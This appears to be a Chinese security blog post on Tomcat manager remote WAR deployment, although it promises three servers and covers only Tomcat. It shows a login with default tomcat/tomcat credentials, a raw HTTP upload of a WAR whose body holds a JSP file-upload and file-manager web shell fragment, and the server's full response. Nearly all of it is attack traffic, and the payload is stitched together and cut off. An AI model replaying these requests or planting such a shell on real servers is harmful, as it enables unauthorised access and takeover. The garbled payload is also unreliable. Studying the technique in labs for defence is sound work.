三種遠端部署war包檢測

micr067發表於2021-02-22

簡介

遠端部署漏洞屬於伺服器、中介軟體配置問題,攻擊者可通過遠端部署漏洞獲取系統許可權,遠端部署漏洞經常出現在Tomcat、Jboss、Weblogic等web容器之上。

0x01 ### tomcat部署war包
http://192.168.52.128:8080/manager/html

tomcat/tomcat

POST /manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1 HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:8080/manager/html
Cookie: JSESSIONID=A0F8351E37AA865DDFC5EC921BFB4F9A
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32062524929426
Content-Length: 31723

-----------------------------32062524929426
Content-Disposition: form-data; name="deployWar"; filename="test3693.war"
Content-Type: application/octet-stream

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
	 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
	 version="2.4">
    <session-config>
        <session-timeout>
            30
        </session-timeout>
    </session-config>
    <welcome-file-list>
	<welcome-file>
            index.jsp
        </welcome-file>
    </welcome-file-list>
</web-app>

%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
public class FileHandler
{
	private String strAction="";
	private String strFile="";
	void FileHandler(String action,String f)
	{
	
	}
}

public static class UploadMonitor {

		static Hashtable uploadTable = new Hashtable();

		static void set(String fName, UplInfo info) {
			uploadTable.put(fName, info);
		}

		static void remove(String fName) {
			uploadTable.remove(fName);
		}

		static UplInfo getInfo(String fName) {
			UplInfo info = (UplInfo) uploadTable.get(fName);
			return info;
		}
}

public class UplInfo {

		public long totalSize;
		public long currSize;
		public long starttime;
		public boolean aborted;

		public UplInfo() {
			totalSize = 0l;
			currSize = 0l;
			starttime = System.currentTimeMillis();
			aborted = false;
		}

		public UplInfo(int size) {
			totalSize = size;
			currSize = 0;
			starttime = System.currentTimeMillis();
			aborted = false;
		}

		public String getUprate() {
			long time = System.currentTimeMillis() - starttime;
			if (time != 0) {
				long uprate = currSize * 1000 / time;
				return convertFileSize(uprate) + "/s";
			}
			else return "n/a";
		}

		public int getPercent() {
			if (totalSize == 0) return 0;
			else return (int) (currSize * 100 / totalSize);
		}

		public String getTimeElapsed() {
			long time = (System.currentTimeMillis() - starttime) / 1000l;
			if (time - 60l >= 0){
				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
				else return time / 60 + ":0" + (time % 60) + "m";
			}
			else return time<10 ? "0" + time + "s": time + "s";
		}

		public String getTimeEstimated() {
			if (currSize == 0) return "n/a";
			long time = System.currentTimeMillis() - starttime;
			time = totalSize * time / currSize;
			time /= 1000l;
			if (time - 60l >= 0){
				if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
				else return time / 60 + ":0" + (time % 60) + "m";
			}
			else return time<10 ? "0" + time + "s": time + "s";
		}

	}

	public class FileInfo {

		public String name = null, clientFileName = null, fileContentType = null;
		private byte[] fileContents = null;
		public File file = null;
		public StringBuffer sb = new StringBuffer(100);

		public void setFileContents(byte[] aByteArray) {
			fileContents = new byte[aByteArray.length];
			System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
		}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

		private final String lineSeparator = System.getProperty("line.separator", "\n");
		private final int ONE_MB = 1024 * 1;

		public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
				int clength) throws IllegalArgumentException, IOException {
			if (is == null) throw new IllegalArgumentException("InputStream");
			if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
					"\"" + boundary + "\" is an illegal boundary indicator");
			boundary = "--" + boundary;
			StringTokenizer stLine = null, stFields = null;
			FileInfo fileInfo = null;
			Hashtable dataTable = new Hashtable(5);
			String line = null, field = null, paramName = null;
			boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
			boolean isFile = false;
			if (saveFiles) { // Create the required directory (including parent dirs)
				File f = new File(saveInDir);
				f.mkdirs();
			}
			line = getLine(is);
			if (line == null || !line.startsWith(boundary)) throw new IOException(
					"Boundary not found; boundary = " + boundary + ", line = " + line);
			while (line != null) {
				if (line == null || !line.startsWith(boundary)) return dataTable;
				line = getLine(is);
				if (line == null) return dataTable;
				stLine = new StringTokenizer(line, ";\r\n");
				if (stLine.countTokens() < 2) throw new IllegalArgumentException(
						"Bad data in second line");
				line = stLine.nextToken().toLowerCase();
				if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
						"Bad data in second line");
				stFields = new StringTokenizer(stLine.nextToken(), "=\"");
				if (stFields.countTokens() < 2) throw new IllegalArgumentException(
						"Bad data in second line");
				fileInfo = new FileInfo();
				stFields.nextToken();
				paramName = stFields.nextToken();
				isFile = false;
				if (stLine.hasMoreTokens()) {
					field = stLine.nextToken();
					stFields = new StringTokenizer(field, "=\"");
					if (stFields.countTokens() > 1) {
						if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
							fileInfo.name = paramName;
							String value = stFields.nextToken();
							if (value != null && value.trim().length() > 0) {
								fileInfo.clientFileName = value;
								isFile = true;
							}
							else {
								line = getLine(is); // Skip "Content-Type:" line
								line = getLine(is); // Skip blank line
								line = getLine(is); // Skip blank line
								line = getLine(is); // Position to boundary line
								continue;
							}
						}
					}
					else if (field.toLowerCase().indexOf("filename") >= 0) {
						line = getLine(is); // Skip "Content-Type:" line
						line = getLine(is); // Skip blank line
						line = getLine(is); // Skip blank line
						line = getLine(is); // Position to boundary line
						continue;
					}
				}
				boolean skipBlankLine = true;
				if (isFile) {
					line = getLine(is);
					if (line == null) return dataTable;
					if (line.trim().length() < 1) skipBlankLine = false;
					else {
						stLine = new StringTokenizer(line, ": ");
						if (stLine.countTokens() < 2) throw new IllegalArgumentException(
								"Bad data in third line");
						stLine.nextToken(); // Content-Type
						fileInfo.fileContentType = stLine.nextToken();
					}
				}
				if (skipBlankLine) {
					line = getLine(is);
					if (line == null) return dataTable;
				}
				if (!isFile) {
					line = getLine(is);
					if (line == null) return dataTable;
					dataTable.put(paramName, line);
					// If parameter is dir, change saveInDir to dir
					if (paramName.equals("dir")) saveInDir = line;
					line = getLine(is);
					continue;
				}
				try {
					UplInfo uplInfo = new UplInfo(clength);
					UploadMonitor.set(fileInfo.clientFileName, uplInfo);
					OutputStream os = null;
					String path = null;
					if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
							fileInfo.clientFileName));
					else os = new ByteArrayOutputStream(ONE_MB);
					boolean readingContent = true;
					byte previousLine[] = new byte[2 * ONE_MB];
					byte temp[] = null;
					byte currentLine[] = new byte[2 * ONE_MB];
					int read, read3;
					if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
						line = null;
						break;
					}
					while (readingContent) {
						if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
							line = null;
							uplInfo.aborted = true;
							break;
						}
						if (compareBoundary(boundary, currentLine)) {
							os.write(previousLine, 0, read - 2);
							line = new String(currentLine, 0, read3);
							break;
						}
						else {
							os.write(previousLine, 0, read);
							uplInfo.currSize += read;
							temp = currentLine;
							currentLine = previousLine;
							previousLine = temp;
							read = read3;
						}//end else
					}//end while
					os.flush();
					os.close();
					if (!saveFiles) {
						ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
						fileInfo.setFileContents(baos.toByteArray());
					}
					else fileInfo.file = new File(path);
					dataTable.put(paramName, fileInfo);
					uplInfo.currSize = uplInfo.totalSize;
				}//end try
				catch (IOException e) {
					throw e;
				}
			}
			return dataTable;
		}

		/**
		 * Compares boundary string to byte array
		 */
		private boolean compareBoundary(String boundary, byte ba[]) {
			byte b;
			if (boundary == null || ba == null) return false;
			for (int i = 0; i < boundary.length(); i++)
				if ((byte) boundary.charAt(i) != ba[i]) return false;
			return true;
		}

		/** Convenience method to read HTTP header lines */
		private synchronized String getLine(ServletInputStream sis) throws IOException {
			byte b[] = new byte[1024];
			int read = sis.readLine(b, 0, b.length), index;
			String line = null;
			if (read != -1) {
				line = new String(b, 0, read);
				if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
			}
			return line;
		}

		public String getFileName(String dir, String fileName) throws IllegalArgumentException {
			String path = null;
			if (dir == null || fileName == null) throw new IllegalArgumentException(
					"dir or fileName is null");
			int index = fileName.lastIndexOf('/');
			String name = null;
			if (index >= 0) name = fileName.substring(index + 1);
			else name = fileName;
			index = name.lastIndexOf('\\');
			if (index >= 0) fileName = name.substring(index + 1);
			path = dir + File.separator + fileName;
			if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
			else return path.replace('/', File.separatorChar);
		}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
	StringBuffer sb=new StringBuffer();
	for (int i = 0; i < p.length(); i++) 
	{
		if(p.charAt(i)=='\\')
		{
			sb.append("\\\\");
		}
		else
		{
			sb.append(p.charAt(i));
		}
	}
	return sb.toString();
}

	/**
	 * Converts some important chars (int) to the corresponding html string
	 */
	static String conv2Html(int i) {
		if (i == '&') return "&amp;";
		else if (i == '<') return "&lt;";
		else if (i == '>') return "&gt;";
		else if (i == '"') return "&quot;";
		else return "" + (char) i;
	}

	/**
	 * Converts a normal string to a html conform string
	 */
	static String htmlEncode(String st) {
		StringBuffer buf = new StringBuffer();
		for (int i = 0; i < st.length(); i++) {
			buf.append(conv2Html(st.charAt(i)));
		}
		return buf.toString();
	}
 
-----------------------------32062524929426--

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=19B04531B519E953AAD3E2200F9F3D84; Path=/manager; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Mon, 22 Feb 2021 05:02:48 GMT
Connection: close
Content-Length: 19860

<html>
<head>
<style>
H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}
  table {
    width: 100%;
  }
  td.page-title {
    text-align: center;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-weight: bold;
    background: white;
    color: black;
  }
  td.title {
    text-align: left;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-style:italic;
    font-weight: bold;
    background: #D2A41C;
  }
  td.header-left {
    text-align: left;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-weight: bold;
    background: #FFDC75;
  }
  td.header-center {
    text-align: center;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-weight: bold;
    background: #FFDC75;
  }
  td.row-left {
    text-align: left;
    vertical-align: middle;
    font-family:sans-serif,Tahoma,Arial;
    color: black;
  }
  td.row-center {
    text-align: center;
    vertical-align: middle;
    font-family:sans-serif,Tahoma,Arial;
    color: black;
  }
  td.row-right {
    text-align: right;
    vertical-align: middle;
    font-family:sans-serif,Tahoma,Arial;
    color: black;
  }
  TH {
    text-align: center;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-weight: bold;
    background: #FFDC75;
  }
  TD {
    text-align: center;
    vertical-align: middle;
    font-family:sans-serif,Tahoma,Arial;
    color: black;
  }
  form {
    margin: 1;
  }
  form.inline {
    display: inline;
  }
</style>
<title>/manager</title>
</head>

<body bgcolor="#FFFFFF">

<table cellspacing="4" border="0">
 <tr>
  <td colspan="2">
   <a href="http://tomcat.apache.org/">
    <img border="0" alt="The Tomcat Servlet/JSP Container"
         align="left" src="/manager/images/tomcat.gif">
   </a>
   <a href="http://www.apache.org/">
    <img border="0" alt="The Apache Software Foundation" align="right"
         src="/manager/images/asf-logo.svg" style="width: 266px; height: 83px;">
   </a>
  </td>
 </tr>
</table>
<hr size="1" noshade="noshade">
<table cellspacing="4" border="0">
 <tr>
  <td class="page-title" bordercolor="#000000" align="left" nowrap>
   <font size="+2">Tomcat Web Application Manager</font>
  </td>
 </tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
 <tr>
  <td class="row-left" width="10%"><small><strong>Message:</strong></small>&nbsp;</td>
  <td class="row-left"><pre>FAIL - War file &quot;test3693.war&quot; already exists on server</pre></td>
 </tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="4" class="title">Manager</td>
</tr>
 <tr>
  <td class="row-left"><a href="/manager/html/list?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">List Applications</a></td>
  <td class="row-center"><a href="/manager/../docs/html-manager-howto.html?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">HTML Manager Help</a></td>
  <td class="row-center"><a href="/manager/../docs/manager-howto.html?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">Manager Help</a></td>
  <td class="row-right"><a href="/manager/status?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">Server Status</a></td>
 </tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="6" class="title">Applications</td>
</tr>
<tr>
 <td class="header-left"><small>Path</small></td>
 <td class="header-left"><small>Version</small></td>
 <td class="header-center"><small>Display Name</small></td>
 <td class="header-center"><small>Running</small></td>
 <td class="header-left"><small>Sessions</small></td>
 <td class="header-left"><small>Commands</small></td>
</tr>
<tr>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/">/</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Welcome to Tomcat</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#FFFFFF">
  <form method="POST" action="/manager/html/expire?path=/&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/docs/">/docs</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Documentation</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/docs&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/docs&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/docs&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/docs&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#C3F3C3">
  <form method="POST" action="/manager/html/expire?path=/docs&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/examples/">/examples</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Servlet and JSP Examples</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/examples&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/examples&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/examples&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/examples&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#FFFFFF">
  <form method="POST" action="/manager/html/expire?path=/examples&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/host%2Dmanager/">/host-manager</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Host Manager Application</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/host%2Dmanager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/host%2Dmanager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/host%2Dmanager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/host%2Dmanager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#C3F3C3">
  <form method="POST" action="/manager/html/expire?path=/host%2Dmanager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/">/manager</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Tomcat Manager Application</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/manager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">1</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF">
  <small>
  &nbsp;Start&nbsp;
  &nbsp;Stop&nbsp;
  &nbsp;Reload&nbsp;
  &nbsp;Undeploy&nbsp;
  </small>
 </td>
</tr><tr>
 <td class="row-left" bgcolor="#FFFFFF">
  <form method="POST" action="/manager/html/expire?path=/manager&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/test3693/">/test3693</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>&nbsp;</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="/manager/html/sessions?path=/test3693&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#C3F3C3">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/test3693&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/test3693&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/test3693&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#C3F3C3">
  <form method="POST" action="/manager/html/expire?path=/test3693&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
<tr>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/war/">/war</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>None specified</i></small></td>
 <td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>&nbsp;</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
 <td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/html/sessions?path=/war&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">0</a></small></td>
 <td class="row-left" bgcolor="#FFFFFF">
  &nbsp;<small>Start</small>&nbsp;
  <form class="inline" method="POST" action="/manager/html/stop?path=/war&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Stop"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/reload?path=/war&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Reload"></small>  </form>
  <form class="inline" method="POST" action="/manager/html/undeploy?path=/war&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">  <small><input type="submit" value="Undeploy"></small>  </form>
 </td>
 </tr><tr>
 <td class="row-left" bgcolor="#FFFFFF">
  <form method="POST" action="/manager/html/expire?path=/war&amp;org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
  <small>
  &nbsp;<input type="submit" value="Expire sessions">&nbsp;with idle &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;minutes&nbsp;
  </small>
  </form>
 </td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="2" class="title">Deploy</td>
</tr>
<tr>
 <td colspan="2" class="header-left"><small>Deploy directory or WAR file located on server</small></td>
</tr>
<tr>
 <td colspan="2">
<form method="post" action="/manager/html/deploy?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
 <td class="row-right">
  <small>Context Path (required):</small>
 </td>
 <td class="row-left">
  <input type="text" name="deployPath" size="20">
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>XML Configuration file URL:</small>
 </td>
 <td class="row-left">
  <input type="text" name="deployConfig" size="20">
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>WAR or Directory URL:</small>
 </td>
 <td class="row-left">
  <input type="text" name="deployWar" size="40">
 </td>
</tr>
<tr>
 <td class="row-right">
  &nbsp;
 </td>
 <td class="row-left">
  <input type="submit" value="Deploy">
 </td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
 <td colspan="2" class="header-left"><small>WAR file to deploy</small></td>
</tr>
<tr>
 <td colspan="2">
<form method="post" action="/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47" enctype="multipart/form-data">
<table cellspacing="0" cellpadding="3">
<tr>
 <td class="row-right">
  <small>Select WAR file to upload</small>
 </td>
 <td class="row-left">
  <input type="file" name="deployWar" size="40">
 </td>
</tr>
<tr>
 <td class="row-right">
  &nbsp;
 </td>
 <td class="row-left">
  <input type="submit" value="Deploy">
 </td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="2" class="title">Diagnostics</td>
</tr>
<tr>
 <td colspan="2" class="header-left"><small>Check to see if a web application has caused a memory leak on stop, reload or undeploy</small></td>
</tr>
<tr>
 <td colspan="2">
<form method="post" action="/manager/html/findleaks?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
 <td class="row-left">
  <input type="submit" value="Find leaks">
 </td>
 <td class="row-left">
  <small>This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.</small>
 </td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
 <td colspan="2" class="header-left"><small>SSL connector configuration diagnostics</small></td>
</tr>
<tr>
 <td colspan="2">
<form method="post" action="/manager/html/sslConnectorCiphers?org.apache.catalina.filters.CSRF_NONCE=50F5AA78FC6EACA796F5547C02688B47">
<table cellspacing="0" cellpadding="3">
<tr>
 <td class="row-left">
  <input type="submit" value="Connector ciphers">
 </td>
 <td class="row-left">
  <small>List the configured ciphers for each connector</small>
 </td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br><table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="8" class="title">Server Information</td>
</tr>
<tr>
 <td class="header-center"><small>Tomcat Version</small></td>
 <td class="header-center"><small>JVM Version</small></td>
 <td class="header-center"><small>JVM Vendor</small></td>
 <td class="header-center"><small>OS Name</small></td>
 <td class="header-center"><small>OS Version</small></td>
 <td class="header-center"><small>OS Architecture</small></td>
 <td class="header-center"><small>Hostname</small></td>
 <td class="header-center"><small>IP Address</small></td>
</tr>
<tr>
 <td class="row-center"><small>Apache Tomcat/8.0.43</small></td>
 <td class="row-center"><small>1.7.0_121-b00</small></td>
 <td class="row-center"><small>Oracle Corporation</small></td>
 <td class="row-center"><small>Linux</small></td>
 <td class="row-center"><small>5.10.0-kali2-amd64</small></td>
 <td class="row-center"><small>amd64</small></td>
 <td class="row-center"><small>8d7bd00fa4e8</small></td>
 <td class="row-center"><small>172.21.0.2</small></td>
</tr>
</table>
<br>

<hr size="1" noshade="noshade">
<center><font size="-1" color="#525D76">
 <em>Copyright &copy; 1999-2017, Apache Software Foundation</em></font></center>

</body>
</html>

